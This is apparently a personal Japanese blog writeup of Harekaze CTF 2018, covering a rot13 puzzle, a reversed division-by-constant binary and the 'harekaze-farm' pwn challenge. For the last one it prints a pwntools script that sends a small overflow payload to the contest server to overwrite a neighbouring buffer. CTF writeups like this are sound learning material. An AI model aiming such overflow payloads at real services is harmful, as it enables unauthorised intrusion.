fr33f0r4ll

自分用雑記

Harekaze CTF 2018 Writeup

卒論書かなきゃいけなかったのであまり参加できなかった。 解けたのはwelcome、easy-problem、harekaze-farm、div-nの4つ。 welcomeとeasy-problemはサービス問みたいなものなので実質2つくらいかな。

easy-problem

rot13 nkfを使った。

echo 'UnerxnmrPGS{Uryyb, jbeyq!}' | nkf -r

nkf便利。

div N

割り算を最適化したバイナリの問題。 ちゃんと調べれば最適化の方法とか逆算の仕方とか分かったのかもしれないが、見つからず面倒になったので力技で解いた。

要はx/NのNを特定すればよくて、アセンブリアルゴリズムが分かってるんだから、x/Nがちょうど1になるようなxを求めればいい。 これなら単純に二分探索していける。 アルゴリズムを書くのも面倒だったので直接xの値を書き換えて特定していった。 限りなく頭悪い解き方な気がする。

#include <stdio.h>

int main(){
  long long ret_val = 0;
  long long int i = 0x376a474eb862e;
  
  __asm__ __volatile__ (
            "mov    %1, %%rdi\n\t"
            "mov    %%rdi,%%rax\n\t"
            "movabs $0x49ea309a821a0d01,%%rdx\n\t"
            "sar    $0x3f,%%rdi\n\t"
            "imul   %%rdx\n\t"
            "sar    $0x30,%%rdx\n\t"
            "mov    %%rdx,%%rax\n\t"
            "sub    %%rdi,%%rax\n\t"
            "mov    %%rax,%0\n\t"
            : "=g"(ret_val)
            : "r"(i)
            );

  printf("i: %lld\n", i);
  printf("ret_val: %lld\n", ret_val);
  
  return 0;
}

上から順番にぴったり1になるような数値を決定していって、最後までいったら正解になる。 フラグが16進数なのか10進数なのか分からないのは不親切だと思う。

harekaze-farm

解けてみればすごい簡単だけど、無駄に時間かけてしまった。 プログラムの挙動自体が脆弱な問題は盲点だった、経験の少さが露呈した感じがする。

単に、入力した動物は8バイト単位で格納されているのに、16バイト単位で入力ができるということである。 なので最初の8バイトはcowとかの正当な値にして、次の8バイトに不正な値を入力することができる。 バイナリを解析するとisorokuの鳴き声がフラグになっているので、isorokuを入力してやればいい。 次の入力が正当だと上書きされるので注意する必要がある。

from pwn import *

context.update(arch='i386')
exe = './harekaze_farm'

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote('problem.harekaze.com', 20328)
    else:
        return process([exe] + argv, *a, **kw)

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()

f = open('payload', 'w')

payload = 'cow' + '\x00'*5 + 'isoroku'
io.sendline(payload)

f.write(payload)
f.close()

log.info(io.recv(timeout=0.1))

io.sendline('A' * 0xf)
log.info(io.recv(timeout=0.1))

io.sendline('A' * 0xf)
log.info(io.recv(timeout=0.1))

io.interactive()

他も解きたかったが、実力と時間が足りなかった。